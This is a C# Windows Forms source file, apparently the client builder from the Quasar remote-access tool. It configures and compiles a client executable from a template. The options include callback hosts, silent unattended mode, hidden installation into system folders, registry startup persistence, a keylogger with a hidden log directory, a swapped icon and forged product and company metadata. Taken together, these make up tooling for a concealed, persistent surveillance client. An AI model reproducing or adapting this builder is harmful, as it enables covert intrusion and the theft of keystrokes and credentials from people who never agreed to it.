using Quasar.Common.DNS; using Quasar.Common.Helpers; using Quasar.Server.Build; using Quasar.Server.Models; using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.IO; using System.Linq; using System.Text.RegularExpressions; using System.Threading; using System.Windows.Forms; namespace Quasar.Server.Forms { public partial class FrmBuilder : Form { private bool _profileLoaded; private bool _changed; private readonly BindingList _hosts = new BindingList(); private readonly HostsConverter _hostsConverter = new HostsConverter(); public FrmBuilder() { InitializeComponent(); } private void LoadProfile(string profileName) { var profile = new BuilderProfile(profileName); _hosts.Clear(); foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts)) _hosts.Add(host); txtTag.Text = profile.Tag; numericUpDownDelay.Value = profile.Delay; txtMutex.Text = profile.Mutex; chkUnattendedMode.Checked = profile.UnattendedMode; chkInstall.Checked = profile.InstallClient; txtInstallName.Text = profile.InstallName; GetInstallPath(profile.InstallPath).Checked = true; txtInstallSubDirectory.Text = profile.InstallSub; chkHide.Checked = profile.HideFile; chkHideSubDirectory.Checked = profile.HideSubDirectory; chkStartup.Checked = profile.AddStartup; txtRegistryKeyName.Text = profile.RegistryName; chkChangeIcon.Checked = profile.ChangeIcon; txtIconPath.Text = profile.IconPath; chkChangeAsmInfo.Checked = profile.ChangeAsmInfo; chkKeylogger.Checked = profile.Keylogger; txtLogDirectoryName.Text = profile.LogDirectoryName; chkHideLogDirectory.Checked = profile.HideLogDirectory; txtProductName.Text = profile.ProductName; txtDescription.Text = profile.Description; txtCompanyName.Text = profile.CompanyName; txtCopyright.Text = profile.Copyright; txtTrademarks.Text = profile.Trademarks; txtOriginalFilename.Text = profile.OriginalFilename; txtProductVersion.Text = profile.ProductVersion; txtFileVersion.Text = profile.FileVersion; _profileLoaded = true; } private void SaveProfile(string profileName) { var profile = new BuilderProfile(profileName); profile.Tag = txtTag.Text; profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); profile.Delay = (int) numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; profile.UnattendedMode = chkUnattendedMode.Checked; profile.InstallClient = chkInstall.Checked; profile.InstallName = txtInstallName.Text; profile.InstallPath = GetInstallPath(); profile.InstallSub = txtInstallSubDirectory.Text; profile.HideFile = chkHide.Checked; profile.HideSubDirectory = chkHideSubDirectory.Checked; profile.AddStartup = chkStartup.Checked; profile.RegistryName = txtRegistryKeyName.Text; profile.ChangeIcon = chkChangeIcon.Checked; profile.IconPath = txtIconPath.Text; profile.ChangeAsmInfo = chkChangeAsmInfo.Checked; profile.Keylogger = chkKeylogger.Checked; profile.LogDirectoryName = txtLogDirectoryName.Text; profile.HideLogDirectory = chkHideLogDirectory.Checked; profile.ProductName = txtProductName.Text; profile.Description = txtDescription.Text; profile.CompanyName = txtCompanyName.Text; profile.Copyright = txtCopyright.Text; profile.Trademarks = txtTrademarks.Text; profile.OriginalFilename = txtOriginalFilename.Text; profile.ProductVersion = txtProductVersion.Text; profile.FileVersion = txtFileVersion.Text; } private void FrmBuilder_Load(object sender, EventArgs e) { lstHosts.DataSource = new BindingSource(_hosts, null); LoadProfile("Default"); numericUpDownPort.Value = Settings.ListenPort; UpdateInstallationControlStates(); UpdateStartupControlStates(); UpdateAssemblyControlStates(); UpdateIconControlStates(); UpdateKeyloggerControlStates(); } private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e) { if (_changed && MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { SaveProfile("Default"); } } private void btnAddHost_Click(object sender, EventArgs e) { if (txtHost.Text.Length < 1) return; HasChanged(); var host = txtHost.Text; ushort port = (ushort) numericUpDownPort.Value; _hosts.Add(new Host {Hostname = host, Port = port}); txtHost.Text = ""; } #region "Context Menu" private void removeHostToolStripMenuItem_Click(object sender, EventArgs e) { HasChanged(); List selectedHosts = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList(); foreach (var item in selectedHosts) { foreach (var host in _hosts) { if (item == host.ToString()) { _hosts.Remove(host); break; } } } } private void clearToolStripMenuItem_Click(object sender, EventArgs e) { HasChanged(); _hosts.Clear(); } #endregion #region "Misc" private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e) { e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e) { e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e) { e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)); } private void btnMutex_Click(object sender, EventArgs e) { HasChanged(); txtMutex.Text = Guid.NewGuid().ToString(); } private void chkInstall_CheckedChanged(object sender, EventArgs e) { HasChanged(); UpdateInstallationControlStates(); } private void chkStartup_CheckedChanged(object sender, EventArgs e) { HasChanged(); UpdateStartupControlStates(); } private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) { HasChanged(); UpdateAssemblyControlStates(); } private void chkKeylogger_CheckedChanged(object sender, EventArgs e) { HasChanged(); UpdateKeyloggerControlStates(); } private void btnBrowseIcon_Click(object sender, EventArgs e) { using (OpenFileDialog ofd = new OpenFileDialog()) { ofd.Title = "Choose Icon"; ofd.Filter = "Icons *.ico|*.ico"; ofd.Multiselect = false; if (ofd.ShowDialog() == DialogResult.OK) { txtIconPath.Text = ofd.FileName; iconPreview.Image = Bitmap.FromHicon(new Icon(ofd.FileName, new Size(64, 64)).Handle); } } } private void chkChangeIcon_CheckedChanged(object sender, EventArgs e) { HasChanged(); UpdateIconControlStates(); } #endregion private bool CheckForEmptyInput() { return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings _hosts.Count > 0 && // Connection (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation (!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation } private BuildOptions GetBuildOptions() { BuildOptions options = new BuildOptions(); if (!CheckForEmptyInput()) { throw new Exception("Please fill out all required fields!"); } options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; options.UnattendedMode = chkUnattendedMode.Checked; options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); options.Delay = (int) numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; options.InstallPath = GetInstallPath(); options.InstallSub = txtInstallSubDirectory.Text; options.InstallName = txtInstallName.Text + ".exe"; options.StartupName = txtRegistryKeyName.Text; options.Install = chkInstall.Checked; options.Startup = chkStartup.Checked; options.HideFile = chkHide.Checked; options.HideInstallSubdirectory = chkHideSubDirectory.Checked; options.Keylogger = chkKeylogger.Checked; options.LogDirectoryName = txtLogDirectoryName.Text; options.HideLogDirectory = chkHideLogDirectory.Checked; if (!File.Exists("client.bin")) { throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Quasar."); } if (options.RawHosts.Length < 2) { throw new Exception("Please enter a valid host to connect to."); } if (chkChangeIcon.Checked) { if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) { throw new Exception("Please choose a valid icon path."); } } else options.IconPath = string.Empty; if (chkChangeAsmInfo.Checked) { if (!IsValidVersionNumber(txtProductVersion.Text)) { throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4"); } if (!IsValidVersionNumber(txtFileVersion.Text)) { throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4"); } options.AssemblyInformation = new string[8]; options.AssemblyInformation[0] = txtProductName.Text; options.AssemblyInformation[1] = txtDescription.Text; options.AssemblyInformation[2] = txtCompanyName.Text; options.AssemblyInformation[3] = txtCopyright.Text; options.AssemblyInformation[4] = txtTrademarks.Text; options.AssemblyInformation[5] = txtOriginalFilename.Text; options.AssemblyInformation[6] = txtProductVersion.Text; options.AssemblyInformation[7] = txtFileVersion.Text; } using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Title = "Save Client as"; sfd.Filter = "Executables *.exe|*.exe"; sfd.RestoreDirectory = true; sfd.FileName = "Client-built.exe"; if (sfd.ShowDialog() != DialogResult.OK) { throw new Exception("Please choose a valid output path."); } options.OutputPath = sfd.FileName; } if (string.IsNullOrEmpty(options.OutputPath)) { throw new Exception("Please choose a valid output path."); } return options; } private void btnBuild_Click(object sender, EventArgs e) { BuildOptions options; try { options = GetBuildOptions(); } catch (Exception ex) { MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } SetBuildState(false); Thread t = new Thread(BuildClient); t.Start(options); } private void SetBuildState(bool state) { try { this.Invoke((MethodInvoker)delegate { btnBuild.Text = (state) ? "Build" : "Building..."; btnBuild.Enabled = state; }); } catch (InvalidOperationException) { } } private void BuildClient(object o) { try { BuildOptions options = (BuildOptions) o; var builder = new ClientBuilder(options, "client.bin"); builder.Build(); try { this.Invoke((MethodInvoker) delegate { MessageBox.Show(this, $"Successfully built client! Saved to:\\{options.OutputPath}", "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); }); } catch (Exception) { } } catch (Exception ex) { try { this.Invoke((MethodInvoker)delegate { MessageBox.Show(this, $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); }); } catch (Exception) { } } SetBuildState(true); } private void RefreshPreviewPath() { string path = string.Empty; if (rbAppdata.Checked) path = Path.Combine( Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), txtInstallSubDirectory.Text), txtInstallName.Text); else if (rbProgramFiles.Checked) path = Path.Combine( Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); else if (rbSystem.Checked) path = Path.Combine( Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; }); } private bool IsValidVersionNumber(string input) { Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); return match.Success; } private short GetInstallPath() { if (rbAppdata.Checked) return 1; if (rbProgramFiles.Checked) return 2; if (rbSystem.Checked) return 3; throw new ArgumentException("InstallPath"); } private RadioButton GetInstallPath(short installPath) { switch (installPath) { case 1: return rbAppdata; case 2: return rbProgramFiles; case 3: return rbSystem; default: throw new ArgumentException("InstallPath"); } } private void UpdateAssemblyControlStates() { txtProductName.Enabled = chkChangeAsmInfo.Checked; txtDescription.Enabled = chkChangeAsmInfo.Checked; txtCompanyName.Enabled = chkChangeAsmInfo.Checked; txtCopyright.Enabled = chkChangeAsmInfo.Checked; txtTrademarks.Enabled = chkChangeAsmInfo.Checked; txtOriginalFilename.Enabled = chkChangeAsmInfo.Checked; txtFileVersion.Enabled = chkChangeAsmInfo.Checked; txtProductVersion.Enabled = chkChangeAsmInfo.Checked; } private void UpdateIconControlStates() { txtIconPath.Enabled = chkChangeIcon.Checked; btnBrowseIcon.Enabled = chkChangeIcon.Checked; } private void UpdateStartupControlStates() { txtRegistryKeyName.Enabled = chkStartup.Checked; } private void UpdateInstallationControlStates() { txtInstallName.Enabled = chkInstall.Checked; rbAppdata.Enabled = chkInstall.Checked; rbProgramFiles.Enabled = chkInstall.Checked; rbSystem.Enabled = chkInstall.Checked; txtInstallSubDirectory.Enabled = chkInstall.Checked; chkHide.Enabled = chkInstall.Checked; chkHideSubDirectory.Enabled = chkInstall.Checked; } private void UpdateKeyloggerControlStates() { txtLogDirectoryName.Enabled = chkKeylogger.Checked; chkHideLogDirectory.Enabled = chkKeylogger.Checked; } private void HasChanged() { if (!_changed && _profileLoaded) _changed = true; } /// /// Handles a basic change in setting. /// private void HasChangedSetting(object sender, EventArgs e) { HasChanged(); } /// /// Handles a basic change in setting, also refreshing the example file path. /// private void HasChangedSettingAndFilePath(object sender, EventArgs e) { HasChanged(); RefreshPreviewPath(); } } }